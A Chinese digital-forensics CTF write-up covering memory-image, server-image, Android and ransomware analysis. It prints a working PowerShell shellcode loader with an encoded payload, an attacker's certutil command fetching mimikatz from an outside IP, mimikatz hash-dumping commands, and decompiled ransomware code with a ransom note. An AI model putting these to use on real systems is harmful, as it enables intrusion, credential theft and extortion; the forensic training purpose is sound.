# 获取 System.dll(用于访问 Win32 API)
$f2w = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).
GetType('Microsoft.Win32.UnsafeNativeMethods')
# 获取 GetProcAddress API 的方法句柄(用于获取函数地址)
return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).
Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef(
(New-Object IntPtr),
($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M))
))), $ybp))
}
function lVhI5 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8, # 参数类型数组
[Parameter(Position = 1)] [Type] $nZWM = [Void] # 返回值类型,默认为 Void
)
# 创建动态程序集、模块和类(用于创建委托类型)
$p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
(New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
# 定义构造函数
$p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).
SetImplementationFlags('Runtime, Managed')
# 定义方法
$p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).
SetImplementationFlags('Runtime, Managed')
return $p8dl.CreateType()
}
# 解码 Base64 编码的 shellcode
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
# 申请内存(VirtualAlloc),用于存放 shellcode
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll VirtualAlloc),
(lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
Invoke([IntPtr]::Zero, $tUZml.Length, 0x3000, 0x04)
# 复制 shellcode 到分配的内存
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
# 修改内存权限(VirtualProtect),使 shellcode 可执行
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll VirtualProtect),
(lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).
Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
# 创建新线程(CreateThread),执行 shellcode
$yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll CreateThread),
(lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
Invoke([IntPtr]::Zero, 0, $rS, [IntPtr]::Zero, 0, [IntPtr]::Zero)
# 等待线程执行完成(WaitForSingleObject)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(tWk kernel32.dll WaitForSingleObject),
(lVhI5 @([IntPtr], [Int32]))).
Invoke($yfm6I, 0xffffffff) | Out-Null
}
恶意文件即为shellcode
解码后的内容,我们解码后计算MD5即可:
3.1内存取证
题目文件:SERVER-2008-20241220-162057 请找到rdp连接的跳板地址 flag格式 flag{1.1.1.1}
使用volatility加载内存镜像,分析其网络连接状况:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.netscan
可以发现192.168.60.150
的3389端口(远程桌面)连接到了192.168.60.220:34121
(svchost.exe
是 Windows 系统服务的宿主进程,可能与远程桌面服务相关。)
3.2内存取证
攻击者下载黑客工具的IP地址 flag格式 flag{1.1.1.1}
查看历史命令是否存在:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.consoles
如果没有consoles插件就使用volatility2中的cmdscan
可以发现执行过命令:
certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:\Windows\Temp\mi.exe
参数 | 作用 |
---|---|
certutil |
Windows 证书管理工具,常被滥用于文件下载 |
-urlcache |
访问远程 URL 并缓存文件 |
-split |
处理大文件时分块下载 |
-f |
强制下载文件(即使已有缓存) |
http://155.94.204.67:85/mimikatz.exe |
目标 URL,提供 mimikatz.exe |
C:\Windows\Temp\mi.exe |
本地保存路径 |
3.3内存取证
黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么 flag格式 flag{xxxx}
根据上一题的命令分析可以发现存在pass.txt
文件,我们进行文件分析:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.filescan
将其dump导出:
volatility.exe -f SERVER-2008-20241220-162057.raw -o output windows.dumpfile --physaddr 0x7e4cedd0
3.4内存取证
攻击者创建的用户 flag格式 flag{xxxx}
搜索并导出Security.evtx
安全日志文件进行分析(搜索创建用户事件ID4720):
3.5内存取证
攻击者利用跳板rdp登录的时间 flag格式 flag{2024/01/01 00:00:00}
继续在安全日志中分析该用户登录成功事件(ID4624):
3.6内存取证
攻击者创建用户的密码哈希值 flag格式 flag{XXXX}
分析密码哈希转储:
volatility.exe -f SERVER-2008-20241220-162057.raw windows.hashdump
4.1逆向破解
题目文件:【题目】加密器逆向请逆向该加密器,解密机密文件flag格式 flag{XXXX}
莫得文件就先跳过了。
官方WP():
在createfileW处下断点,
断住之后发现输入的参数为一个文件路径
跟踪发现这里使用随机数生成了六位密钥
将生成的密钥%10,即生成0-9的密钥
明显的rc4特征,rc4密钥初始化
交换数组位置,这里就是利用key生成s盒,相当于
for i in 0..256 {
j = (j + s[i] + key[i % key.len()] ) % 256;
s.swap(i, j);
}
使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密
生成字符串
如下
再次生成字符串
如下
将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。
创建文件
写入文件
由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果
import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor
def rc4(key, data):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
result.append(byte ^ K)
return result
def is_printable(data):
try:
return all(32 <= byte <= 126 for byte in data)
except TypeError:
return False
ciphertext = []#加密后的数据
def run(key_tuple ):
key = list(key_tuple)
decrypted_data = rc4(key, ciphertext)
# 判断是否解密后的数据是可打印的
if is_printable(decrypted_data):
decrypted_string = ''.join(chr(byte) for byte in decrypted_data)
if 'flag' in decrypted_string:
print(f"找到有效密钥: {key} -> 解密结果: {decrypted_string}")
max_threads = os.cpu_count()*2
print(max_threads)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
executor.map(run, itertools.product(range(0, 10), repeat=6))
其中加密后缀为一个假的flag,但是可以解出结果
2022第四届长安杯(尝试X-Ways Forensics)
某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。
参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客、《数字取证实验》
WinHex 的主要功能:
- 磁盘克隆、数据镜像
- RAM 内存编辑:对内存信息直接编辑,如调试内存、编译程序等
- 文件分析:分析文件格式、判断文件类型和数据格式
- 擦除数据:可对磁盘填充 0 或随机数,是保证数据安全的最佳方式
X-Ways Forensics 与 WinHex 是包含关系。
X-Ways Forensics常规配置如下:
查看其容器:
检材1
检材1:根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题
MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c
1.检材1的SHA256值为
2.分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2
查看用户登录登出信息的源文件地址:
/var/log/wtmp
将其提取出来
who
命令可以直接读取 wtmp
文件并展示其中用户登录历史:
who wtmp
3.检材1中,操作系统发行版本号为
操作系统发行版本号源文件地址:
/etc/*-release
在案件根目录下X-Ways文件名过滤*-release
:
4.检材1系统中,网卡绑定的静态IP地址为
网卡配置文件路径:
/etc/sysconfig/network-scripts/ifcfg-ens
或者在案件根目录搜索fcfg
(ifcfg
中的i
可能会被截断)
5.检材1中,网站jar包所存放的目录是(答案为绝对路径,如“/home/honglian/”)
常见网站路径:
/var/www/html
/web/app
过滤文件名称:*.jar
jar包都在/web/app/
路径中
6.检1中,监听7000端口的进程对应文件名为
思路一:
将jar包全部导出后, 使用Java Decompiler
查看application.properties
文件逐个分析, 查看是哪个jar包使用了7000端口, 在cloud.jar
中发现使用7000端口。
配置文件路径为 BOOT-INF\classes\application.properties
(Spring Boot 启动时,会自动读取 application.properties
)
思路二:直接启动网站, 查看占用端口情况, 但是较难, 因为嫌疑人删除了启动脚本, 在做检材2时, D盘中会有该网站的启动脚本, 将检材2中的脚本复制到检材1中, 启动网站即可。
启动脚本start_web.sh
内容:
sleep 20s
echo "Starting App:admin"
nohup java -jar /web/app/admin-api.jar &
sleep 20s
echo "Starting App:ucenter"
nohup java -jar /web/app/ucenter-api.jar &
sleep 20s
echo "Starting WEB:WEB"
cd /web/app/web/
nohup npm run dev &
cd /web/app
echo "Starting WEB:admin"
cd /web/app/admin/
nohup npm run dev &
cd /web/app
echo "Finish" kill
启动脚本start.sh
内容:
sleep 2s
echo "Starting Zookeeper"
nohup /data/install/apache/zookeeper-3.4.10/bin/zkServer.sh start &
sleep 2s
echo "Starting Kafka"
nohup /data/install/apache/kafka_2.12-1.0.1/bin/zookeeper-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/zookeeper.properties &
sleep 5s
nohup /data/install/apache/kafka_2.12-1.0.1/bin/kafka-server-start.sh /data/install/apache/kafka_2.12-1.0.1/config/server.properties &
echo "Finish" kill
通过看历史命令, 可以看到有很多关于 vue 文件的操作, find
命令搜一下 vue 文件, 可以看到都在 /web/app 这个目录下, 由此可以初步断定该网站使用了 vue 框架, 而简单搜索一下历史命令中的另一条 npm run dev
命令, 就能知道它是用来启动 vue 项目的, 同样我们可以得知 npm run
命令实际上是用来执行配置在 package.json 文件中的脚本的, 在历史命令的 50 条左右, 可以看到有对 web.tar 包的操作, 在解压 tar 包后就在该目录下执行了 npm install
和 npm run dev
命令
在那就解压web.tar
再在其目录下再执行:npm install
和npm run dev
可以成功构造网页
npm
:Node Package Manager(Node.js 的包管理工具)run
:执行package.json
文件中scripts
部分定义的命令dev
:用户自定义的脚本名称,通常用于开发环境
即,npm run dev
实际上是 执行 package.json
中定义的 dev
命令。
(.vue
文件是 Vue.js 框架中的单文件组件(Single-File Component,SFC),用于构建 Vue 应用的 UI 组件。它通常包含 HTML、CSS 和 JavaScript,用于封装 Vue 组件的结构、样式和逻辑。)
再查看端口情况:
你会发现还是没有7000出现,因此将所有jar包运行并查看端口情况:
nohup java -jar /web/app/cloud.jar
发现此时7000端口开启
7.检材1中,网站管理后台页面对应的网络端口为(答案填写阿拉伯数字,如“100”)
方法1: 与检材2进行联合分析, 在检材2的 Google Chrome 历史记录中:
Users/XXX/AppData/Local/Google/Chrome/User Data/Default/History
可以看到后台管理
对应 9090 端口, 且访问地址对应检材1的静态 IP
方法2: 在日志.bash_history
里可以看到, 嫌疑人在/web/app/admin/
文件里执行了npm run dev
npm
:Node Package Manager(Node.js 的包管理工具)run
:执行package.json
文件中scripts
部分定义的命令dev
:用户自定义的脚本名称,通常用于开发环境
即,npm run dev
实际上是 执行 package.json
中定义的 dev
命令
检查package.json
:
{
"name": "ztuo_admins",
"version": "1.2.3",
"description": "a management bases on iview",
"main": "main.js",
"scripts": {
"init": "webpack --progress --config build/webpack.dev.config.js",
"dev": "webpack-dev-server --content-base ./ --open --inline --hot --compress --config build/webpack.dev.config.js",
"build": "webpack --progress --hide-modules --config build/webpack.prod.config.js"
},
"repository": {
"type": "git",
"url": "https://github.com/iview/iview-admin.git"
},
"author": "Lison<zhigang.li@tendcloud.com>",
"license": "MIT",
"dependencies": {
"@antv/data-set": "^0.8.7",
"ajv": "^5.0.0",
"area-data": "^1.0.0",
"axios": "^0.17.1",
"clipboard": "^1.7.1",
"countup": "^1.8.2",
"cropperjs": "^1.1.3",
"echarts": "^3.8.5",
"html2canvas": "^0.5.0-beta4",
"ip": "^1.1.5",
"iview": "^2.13.1",
"iview-area": "^1.5.12",
"jquery": "^2.2.3",
"js-cookie": "^2.2.0",
"js-file-download": "^0.4.1",
"node-pre-gyp": "^0.15.0",
"pnpm": "^5.4.11",
"rasterizehtml": "^1.2.4",
"simplemde": "^1.11.2",
"smeditor": "^0.1.19",
"sortablejs": "^1.7.0",
"time-formater": "^1.0.1",
"tinymce": "^4.7.3",
"viser-vue": "^2.2.3",
"vue": "^2.5.9",
"vue-resource": "^1.3.5",
"vue-router": "^3.0.1",
"vuex": "^3.0.1"
},
"devDependencies": {
"autoprefixer-loader": "^3.2.0",
"babel": "^6.23.0",
"babel-core": "^6.23.1",
"babel-eslint": "^8.0.3",
"babel-loader": "^7.1.2",
"babel-plugin-transform-runtime": "^6.12.0",
"babel-preset-env": "^1.6.1",
"babel-preset-es2015": "^6.24.1",
"babel-preset-stage-3": "^6.24.1",
"babel-runtime": "^6.11.6",
"clean-webpack-plugin": "^0.1.17",
"copy-webpack-plugin": "^4.2.3",
"css-hot-loader": "^1.3.4",
"css-loader": "^0.28.7",
"eslint": "^4.12.1",
"eslint-config-google": "^0.9.1",
"eslint-config-standard": "^10.2.1",
"eslint-plugin-html": "^4.0.1",
"eslint-plugin-import": "^2.8.0",
"eslint-plugin-node": "^5.2.1",
"eslint-plugin-promise": "^3.6.0",
"eslint-plugin-standard": "^3.0.1",
"extract-text-webpack-plugin": "^3.0.2",
"file-loader": "^1.1.5",
"happypack": "^4.0.0",
"html-loader": "^0.5.1",
"html-webpack-plugin": "^2.28.0",
"less": "^2.7.3",
"less-loader": "^4.1.0",
"semver": "^5.4.1",
"style-loader": "^0.19.0",
"uglifyjs-webpack-plugin": "^1.0.0-rc.0",
"unsupported": "^1.1.0",
"url-loader": "^0.6.2",
"vue-hot-reload-api": "^2.2.4",
"vue-html-loader": "^1.2.3",
"vue-i18n": "^5.0.3",
"vue-loader": "^13.5.0",
"vue-style-loader": "^3.0.3",
"vue-template-compiler": "^2.5.9",
"webpack": "^3.10.0",
"webpack-dev-server": "^2.9.5",
"webpack-merge": "^4.1.1",
"webpack-parallel-uglify-plugin": "^1.1.0",
"webpack-uglify-parallel": "^0.1.4"
}
}
这里使用build/webpack.dev.config.js
作为配置文件, 再看看这个文件可找到监听端口为9090:
const webpack = require('webpack');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const ExtractTextPlugin = require('extract-text-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
const merge = require('webpack-merge');
const webpackBaseConfig = require('./webpack.base.config.js');
const fs = require('fs');
const package = require('../package.json');
const ip = require('ip').address()
// fs.open('./build/env.js', 'w', function(err, fd) {
// const buf = 'export default "development";';
// fs.write(fd, buf, 0, buf.length, 0, function(err, written, buffer) {});
// });
module.exports = merge(webpackBaseConfig, {
devtool: '#source-map',
devServer: {
port: 9090,
host: "0.0.0.0"
},
output: {
publicPath: '/dist/',
filename: '[name].js',
chunkFilename: '[name].chunk.js'
},
plugins: [
new ExtractTextPlugin({
filename: '[name].css',
allChunks: true
}),
new webpack.optimize.CommonsChunkPlugin({
name: ['vender-exten', 'vender-base'],
minChunks: Infinity
}),
new HtmlWebpackPlugin({
title: '后台管理',
filename: '../index.html',
template: './src/template/index.ejs',
favicon: './favicon.ico',
inject: false
}),
new CopyWebpackPlugin([{
from: 'src/views/main-components/theme-switch/theme'
}, ], {
ignore: [
//'text-editor.vue'
]
})
]
});
8.检材1中,网站前台页面里给出的APK的下载地址是(答案格式如下:“https://www.forensix.cn/abc/def”)
思路一:由题6可构造出网页:发现apk下载地址,扫描二维码即可
思路二:查看源码, 判定网站前端使用vue搭建, 在/web/app/web/src/app.vue
中可以搜索关键词app
、二维码
也可以找到:
9.检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?
参考文章:第四届长安杯电子取证大赛个人总结_2022长安杯电子数据取证竞赛-CSDN博客
重构网站对此题帮助不大,优先选择查看jar包是否包含所需内容,由于题目中已给出用户表表名为admin,可以选择优先查看admin-api.jar
。使用jd-gui
查看admin-api.jar
。
10.分析检材1,网站管理后台登录密码加密算法中所使用的盐值是
由上题分析可知
11.检材2中,windows账户Web King的登录密码是
找到对应的SAM文件及SYSTEM文件后(Windows\System32\config\SAM
、Windows\System32\config\SYSTEM
)复制到我们物理机桌面,之后使用mimikatz
提取密码,如下所示
privilege::debug
lsadump::sam /sam:SAM /system:SYSTEM
12.检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3
电脑中装了Xshell,对其记录进行分析即可:、
/Users/Web King/Documents/NetSarang Computer/7/Xshell/Sessions
13.检材2中,powershell中输入的最后一条命令是
由于power shell
有类似CentOS
终端记忆历史命令的功能,仿真检材2打开power shell
按 ↑ 即可。
power shell
历史命令文件名为ConsoleHost_history.txt
。X-Ways文件名过滤:
14.检材2中,下载的涉案网站源代码文件名为
查看下载记录:
Users/Web King/AppData/Local/Google/Chrome/User Data/Default/History
可以发现下载了goDCE
、ZTuo
,二者本质上都是 数字资产交易所(CEX)后端框架,它们的功能类似,主要用于 中心化交易所(CEX)的后端开发。goDCE
开发语言是GO,ZTuo
开发语言是JAVA
由前面题目所分析,货币交易网站是以JAVA语言开发的,并且使用了Spring Boot,与ZTuo
项目后端技术吻合:
另一思路:检材一中/web/app/admin
和/web/app/web
下分别有一个README.md文件,里面对应着github项目下的README.md
另另一思路:结合浏览器访问记录里的网站名称判断:
15.检材2中,网站管理后台root账号的密码为
仿真查看:
不知道为什么没有,网上火眼取证的WP都直接出来了……
16.检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)
(按照格式来的话答案为Ubuntu 20.04
)
17.检材2中,运行的数据库服务版本号是(答案格式如下:10.1)
进入wsl,mysql --version
查看版本:
或者分析Ubuntu/Debian 系统的核心数据库文件,其记录所有已安装软件包的元数据和状态信息。:
C:\Users\Web King\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04LTS_79rhkp1fndgsc\LocalState\rootfs\var\lib\dpkg\status
18.上述数据库debian-sys-maint用户的初始密码是
debian-sys-maint
用户的初始密码位于/etc/mysql/debian.cnf
中,查看该文件:
19.检材3服务器root账号的密码是
检材2中wsl的history中有ssh连接检材3的记录:
20.检材3中,监听33050端口的程序名(program name)为
在历史命令中发现嫌疑人进入了/data/mysql
之后使用了docker-compose up
:
进入目录/data/mysql
后,查看docker-compose.yml配置文件,发现使用了端口33050:
首先netstat -anptu
命令查看当前运行的所有连接中的socket,并没有发现33050端口的线索
-a: 显示所有连线中的Socket;
-p: 显示正在使用Socket的程序识别码和程序名称;
-n: 直接使用ip地址,而不通过域名服务器解析;
-t: 显示TCP传输协议的连线状况;
-u: 显示UDP传输协议的连线状况;
根据历史记录可以猜测出33050是docker容器对外映射的一个端口。docker
开启docker服务,查看容器:
systemctl start docker.service
docker ps
发现8e开头的这个容器做了端口映射3306<--->33050,将MySQL的端口暴露到外面。
但题目问的是监听33050端口的程序,我们再次运行netstat -anpt
命令查看socket情况
可以看到进程是docker-proxy
21.[多选题] 除MySQL外,该网站还依赖以下哪种数据库
A. Postgresql
B. Redis
C. Oracle
D. MongoDB
由上题分析历史命令可以发现:
另一思路:
第9-10题对jar包的逆向分析中,我们从spring框架web应用程序的配置文件——application.properties文件中可以看到网站数据库依赖
同时还发现了172.16.80.128:33050的jdbc配置信息,也就是它docker中MySQL的登录配置信息。
22.检材3中,MySQL数据库root账号的密码是
在docker-compose.yml配置文件中能找到MYSQL配置数据:
/data/mysql/docker-compose.yml
23.检材3中,MySQL数据库在容器内部的数据目录为
通过对docker-compose.yml的分析,可以看到它是将/data/mysql/db
目录,挂载到了容器的/var/lib/mysql
中,所以/var/lib/mysql
就是他的数据目录
另一思路:进docker mysql内部 查看一下配置文件
docker exec -it 8e /bin/bash
whereis mysql
/etc/mysql/mysql.conf.d/mysqld.cnf
注意配置文件中的datadir
另另一思路:进入docker容器内部,搜索一下常见mysql的证据文件
docker exec -it 8e /bin/bash
find / -name *.frm
24.涉案网站调用的MySQL数据库名为
可以在命令历史记录中发现数据库服务器被删库过:
底下找到了删库的命令:
另一思路:
在对jar包的逆向中,只找到了cn.ztuo.bitrade.service.AdminService下的sql查询是admin表,并不知道它所属的数据库。
好在22题中,对jar包分析中找到了数据库进行jdbc连接时用的URL,其格式为子协议://服务器名或IP地址:端口号/数据库名?参数=参数值。由此知道该jdbc连接的是172.16.80.128:33050
的b1数据库。
25.勒索者在数据库中修改了多少个用户的手机号?(答案填写阿拉伯数字,如“15”)
提到数据库用户操作,那自然是找MySQL日志,首先用show variables where Variable_name='general_log_file';
命令找到MySQL日志路径
mysql -u root -p
shhl7001
当然这是docker容器中的路径,我们可以去它的外部映射路径/data/mysql/db
里找该日志文件,搜索关键词update
即可,其中只有三条是修改用户手机号:
26.勒索者在数据库中删除的用户数量为(答案填写阿拉伯数字,如“15”)
同理,搜索delete
关键词:
27.还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压检材4
过滤文件夹名b1
,在检材2中发现两个相同大小的文件夹:
将b1
导入检材3/data/mysql/db
:
使用navicat连接数据库,发现登录记录:
28.还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为
数据库恢复完成后(否则后台验证码难以加载)重构网站(检材一),在后台进行分析:
另一思路:继续分析数据库可找到:
29.还原全部被删改数据,共有多少名用户的会员等级为’LV3’
首先在表中筛选grade=3的记录共158条
分析日志中被删除的那28条用户中是否存在grade=3的用户
根据之前日志分析中,被删除的用户id为973~1000,因此数据库增加数据搜索关键词VALUES (973
注意看倒数第四的数据为3
的记录,再次搜索关键词:0, 3, 0, 0
30.还原全部被删改数据,哪些用户ID没有充值记录(使用 , 隔开)
根据之前的分析,用户钱包中的可用余额与member_wallet
中balance
列对应,因此balance
值为0的用户没有充值记录:
另一思路:导出所有用户id(并加入删除的用户),在交易明细member_transaction
中导出member_id
列,进行去重后对比
剖析后导出,同样导出所有用户ID,进行去重可得到:
31.还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?(答案填写阿拉伯数字,如“15”)
32.还原全部被删改数据,该网站中充值的USDT总额为(答案填写阿拉伯数字,如“15”)
交易记录中都是USDT的充值记录,进行SQL语句查询:
SELECT SUM(amount) FROM member_transaction WHERE symbol = 'USDT' AND type = 0;
33.嫌疑人使用的安卓模拟器软件名称是
分析检材四,是一个.npbk
文件:
34.检材4中,“老板”的阿里云账号是
得到npkb文件后,有两种处理方法
方法1:对安卓模拟器文件的取证,我们无需专门去安装对应的模拟器,可以直接用解压软件解压获得镜像文件
方法2:使用夜神模拟器的导入功能将npbk文件导入,得到一个新的模拟器,证实使用的是夜神模拟器
方法1,用手机大师进行取证,在微信聊天记录中找到:
聊天记录是还原案情的关键:
35.检材4中安装的VPN工具的软件名称是
方法二:
36.检材4中安装的VPN工具的软件名称是
37.检材4中,录屏软件安装时间为
软件名为录屏,搜索安装包:
38.上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为
由于是使用软件生成的录像文件,就去找这个应用对应的外部存储中的文件数据路径,这里的外部存储,也就是模拟器中 Amaze 文件结构中的主目录/storage/emulated/0/Android/data/com.jiadi.luping/files
在 Movies 文件夹下,长按选择【重命名】,就可以得到完整的文件名:
39.上述录屏软件登录的手机号是
进行注销即可查看:
40.检材4中,发送勒索邮件的邮箱地址为
分析所有掌握的检材,找到勒索邮件中被加密的文档和对应的加/解密程序,并回答下列问题
41.分析加密程序,编译该加密程序使用的语言是
被加密的文档在分析检材二时出现过:
导出看图标就能看出是python语言编译的:
另一方法:使用Detect It Easy查看exe发现程序是pyinstaller生成的可执行文件,于是得出编译该加密程序使用的语言是python
另另一方法:用ida反编译加密程序,查看字符串发现了很多py后缀,确定使用的语言就是python
另另另一方法:将恶意程序提交到微步云沙箱,自动分析后得出其引擎为python
42.分析加密程序,它会加密哪些扩展名的文件?
jpg
png
zip
mp4
rar
7z
xls
docx
txt
mp3
对加密程序进行反编译(exe转pyc转py):
# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ncrypt_file.exe_extracted/encrypt_file_1.pyc (Python 3.6)
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"
class XORCBC:
def __init__(self = None, key = None):
self.key = bytearray(key)
self.cur = 0
def encrypt(self = None, data = None):
data = bytearray(data)
for i in range(len(data)):
tmp = data[i]
data[i] ^= self.key[self.cur]
self.key[self.cur] = tmp
self.cur = (self.cur + 1) % len(self.key)
return bytes(data)
print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')
def run_finall():
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if filename != 'encrypt_file.py' and filename != 'decrypt_file.py' and '_encrypted' not in filename:
ExtensionPath = os.path.splitext(filename)[-1]
if not '.txt' == ExtensionPath and '.jpg' == ExtensionPath and '.xls' == ExtensionPath:
if '.docx' == ExtensionPath:
time.sleep(3)
data_file = os.path.join(filepath, filename)
rsakey = RSA.import_key(pubkey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = os.urandom(16)
xor_obj = XORCBC(xor_key)
outf = open(data_file + '_encrypted', 'wb')
encrypted_xor_key = cipher.encrypt(xor_key)
outf.write(encrypted_xor_key)
buffer_size = 4096
with open(data_file, 'rb') as f:
while None:
data = f.read(buffer_size)
if not data:
break
outf.close()
os.remove(data_file)
return None
run_finall()
def redme():
try:
dir = os.path.join(os.path.expanduser('~'), 'Desktop')
print(dir)
with open(dir + '/!READ_ME.txt', 'w') as ff:
ff.write(msg)
except:
dir1 = os.getcwd()
print(dir1)
with open(dir1 + '/!READ_ME.txt', 'w') as ff:
ff.write(msg)
print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')
Warning: block stack is not empty!
43.分析加密程序,是通过什么算法对文件进行加密的?
由上题分析可知,是通过XOR
异或算法对文件进行加密的
44.分析加密程序,其使用的非对称加密方式公钥后5位为?
同理,源码中存在公钥
45.被加密文档中,FLAG1的值是
运行解密程序,发现需要密码:
反编译exe,得到:
# Source Generated with Decompyle++
# File: D:/ctftools-all-in-one/libdll/ecrypt_file.exe_extracted/decrypt_file_1.pyc (Python 3.6)
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
